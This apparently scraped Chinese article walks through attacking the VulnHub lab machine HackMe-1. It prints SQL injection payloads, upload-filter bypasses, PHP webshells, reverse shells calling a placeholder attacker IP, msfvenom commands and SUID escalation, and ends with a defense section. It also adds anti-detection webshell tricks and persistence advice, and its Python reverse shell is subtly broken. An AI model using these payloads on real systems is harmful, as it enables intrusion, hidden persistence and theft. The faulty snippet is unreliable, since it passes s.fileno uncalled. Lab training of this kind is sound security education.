当前位置: 首页 > news >正文

HackMe-1 靶机实战:SQL注入到文件上传的 3 步完整攻击链复现

HackMe-1 靶机实战:从SQL注入到文件上传的完整攻击链剖析

靶机环境与攻击路径总览

HackMe-1是VulnHub平台上专为渗透测试学习者设计的初级难度靶机,其核心价值在于完整呈现了Web应用中三个典型漏洞的串联利用过程。与真实企业环境中常见的漏洞组合模式高度一致,这个靶机模拟了以下攻击路径:

  1. SQL注入漏洞→ 获取管理员凭证
  2. 文件上传漏洞→ 部署Webshell
  3. 系统权限提升→ 获取root权限
graph TD A[信息收集] --> B[SQL注入获取凭证] B --> C[管理员后台登录] C --> D[文件上传漏洞利用] D --> E[反弹Shell建立] E --> F[本地提权操作]

1. 信息收集与漏洞定位

1.1 基础扫描技术组合

网络探测是渗透测试的第一步,使用以下命令组合可快速定位靶机:

arp-scan -l # 发现同一网段活跃主机 nmap -sV -p- 192.168.1.100 # 全端口扫描与服务识别

关键发现

  • 开放端口:80(HTTP)、22(SSH)
  • Web服务器:Apache 2.4.x
  • 操作系统:Linux(内核版本3.x-4.x)

1.2 目录与漏洞扫描进阶技巧

使用多种工具交叉验证扫描结果可提高准确性:

# 目录扫描 gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt # 漏洞扫描 nikto -h http://192.168.1.100 | tee nikto_scan.log

典型发现

  • /admin:后台登录入口
  • /uploads:文件上传目录
  • /search.php:存在注入点的搜索功能

2. SQL注入深度利用

2.1 注入点识别与验证

在图书搜索功能中发现字符型注入:

' AND 1=1-- - # 正常返回 ' AND 1=2-- - # 无结果返回 Windows' UNION SELECT 1,2,3-- - # 确认字段数

2.2 自动化注入工具实战

使用sqlmap进行高效数据提取:

sqlmap -u "http://192.168.1.100/search.php" --data="query=test" --risk=3 --level=5 --batch

关键参数说明

  • --dbs:枚举数据库
  • -D webapphacking --tables:获取指定数据库表
  • --os-shell:尝试获取系统shell

2.3 数据库信息提取流程

手工注入步骤示例:

1' UNION SELECT database(),2,3-- - # 获取当前数据库 1' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema='webapphacking'-- - # 获取所有表 1' UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_name='users'-- - # 获取字段名 1' UNION SELECT group_concat(user,0x3a,password),2,3 FROM users-- - # 提取凭证数据

获取的关键凭证

用户名密码哈希(MD5)解密后密码
admine10adc3949ba59abbe56...123456
superadmin2e9f1b7a27b3a2f1e4e8...Uncrackable

3. 文件上传漏洞利用

3.1 绕过基础防护的三种方法

方法一:Content-Type绕过

  1. 制作包含PHP代码的图片文件
  2. Burp拦截修改Content-Type为image/jpeg

方法二:双扩展名绕过

mv shell.php shell.php.jpg

方法三:NULL字节截断

shell.php%00.jpg

3.2 实战上传Webshell

使用最简一句话木马:

<?php system($_GET['cmd']); ?>

上传验证流程

  1. 访问/uploads/shell.php?cmd=id
  2. 确认返回当前用户权限信息

3.3 高级持久化技术

隐蔽型Webshell示例

<?php $key = "secret123"; if(isset($_GET[$key])) { eval($_GET[$key]); } ?>

反检测技巧

  • 使用不常见函数替代eval
  • 添加合法文件头(如GIF89a)
  • 设置访问密码保护

4. 权限提升与系统控制

4.1 反弹Shell的四种方式

方法一:Bash反向连接

bash -i >& /dev/tcp/攻击机IP/4444 0>&1

方法二:Python脚本

import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("攻击机IP",4444)) os.dup2(s.fileno(),0); os.dup2(s.fileno,1); os.dup2(s.fileno(),2) p=subprocess.call(["/bin/bash","-i"])

方法三:PHP反向Shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1'"); ?>

方法四:Metasploit生成

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=4444 -f elf > shell.elf

4.2 本地提权技术实战

SUID提权检测

find / -perm -4000 -type f 2>/dev/null

发现的可利用程序

  • /usr/bin/find
  • /usr/bin/vim
  • /home/legacy/touchmenot

利用示例

/home/legacy/touchmenot # 直接执行获取root /usr/bin/find . -exec /bin/sh \; -quit # 通过find提权

5. 防御措施与最佳实践

5.1 SQL注入防护方案

代码层防护

// 使用预处理语句 $stmt = $pdo->prepare("SELECT * FROM books WHERE title LIKE ?"); $stmt->execute(["%".$input."%"]);

WAF规则示例

SecRule ARGS "@detectSQLi" "id:1001,deny,status:403"

5.2 文件上传安全控制

防御矩阵

防护层实施方法有效性
扩展名验证白名单机制(仅允许.jpg/.png)★★★☆☆
内容检测文件头校验+二次渲染★★★★☆
存储隔离上传目录禁止脚本执行★★★★★
随机化命名防止直接访问猜测★★☆☆☆

5.3 系统加固建议

Linux安全基线

# 限制SUID程序 find / -perm -4000 -exec chmod u-s {} \; # 配置sudo权限 visudo # 严格限制普通用户权限 # 定期审计 apt install auditd auditctl -a always,exit -F arch=b64 -S execve

6. 攻击链复现的实战价值

通过HackMe-1靶机的完整渗透过程,安全人员可以深入理解:

  1. 漏洞关联性:如何将独立漏洞串联形成完整攻击路径
  2. 权限维持:从Web应用到系统级的持久化技术
  3. 痕迹清理:操作日志的识别与清除方法
  4. 防御突破:针对常见防护措施的绕过思路

这种从外到内、由浅入深的渗透模式,正是企业真实环境中攻击者最常采用的攻击方法论。掌握此类靶机的攻防技术,能够有效提升对企业Web应用安全的整体防护能力。

http://www.jsqmd.com/news/1149893/

相关文章:

  • 高效太阳能电池缺陷检测基准:2624张EL图像深度学习实战指南
  • 010Editor 网络验证绕过实战:3 种补丁方法与 1 个关键跳转定位
  • Burp Suite 2024.6 实战:3类业务逻辑漏洞靶场复现与自动化脚本编写
  • iwebsec靶场 XXE漏洞实战:3种协议读取文件与内网探测(附完整Payload)
  • B/S架构电子病历编辑器(EMRE)部署实战:SpringBoot 2.7 + MySQL 8.0 环境搭建5步
  • A3910与MKV58F1M0VLQ24在工业电机控制中的经典组合
  • 微信小程序内容安全审核 2.0:imgSecCheck 与 mediaCheckAsync 双接口选型指南
  • 语音克隆实战终极指南:10分钟数据训练高质量变声模型
  • 基于51/STM32单片机矿井安全 瓦斯检测 天然气 甲烷报警物联网31(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_
  • 5个步骤轻松解锁加密音乐文件:Unlock Music完全使用指南
  • 云注入去除方案对比:算法助手 vs MT解密工具 vs 手动Smali修改
  • 从零开始:STM32温度控制系统的实战指南
  • iwebsec靶场 XXE漏洞实战:3种协议读取/etc/passwd与源码(附PHP/Java/Python防御代码)
  • DVWA DOM XSS 4级漏洞实战:从Low到Impossible的3种绕过与1个防御核心
  • BQ25887充电芯片与TM4C129ENCPDT的电池平衡系统设计
  • 基于Arduino单片机温湿度报警 大棚温湿度采集系统 DHT1131(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_
  • Spring Boot + Vue 前后端分离订餐系统:5个常见安全漏洞与JWT认证方案
  • Citrix DDC 与 vCenter 证书信任:2种证书获取方法对比与“受信任的人”存储安装要点
  • Java RMI反序列化漏洞实战:ysoserial工具链利用与3种防护策略
  • 【Springboot毕设全套源码+文档】基于SpringBoot的吉他谱分享平台的设计与实现(丰富项目+远程调试+讲解+定制)
  • Unlock Music终极指南:3步解锁加密音乐,重获数字音乐所有权
  • XSS-Platform 源码部署实战:PHP 7.4 + Apache 环境 5 步配置避坑指南
  • PIC18F47Q10与PAM8904构建高效嵌入式警报系统
  • App安全测试自动化:3款开源工具对比与CI/CD集成实战
  • OWASP ZAP 2.15 与 Burp Suite 2024 对比评测:5 大核心功能与实战效率分析
  • 探索式测试(ET)与脚本测试(ST)实战对比:3个真实场景下的效率与缺陷发现率分析
  • Burp Suite CO2 1.2.0 插件实战:5步集成SQLMap自动化SQL注入检测
  • CVE-2023-33246 Apache RocketMQ 5.1.0 漏洞深度剖析:从配置更新到命令注入的3层调用链
  • EyouCMS 1.5.5 与 1.4.3 版本对比:2类后台RCE漏洞的利用路径演变
  • x64dbg 逆向 Qt5.12.3 授权校验:3步定位关键跳转与汇编补丁实战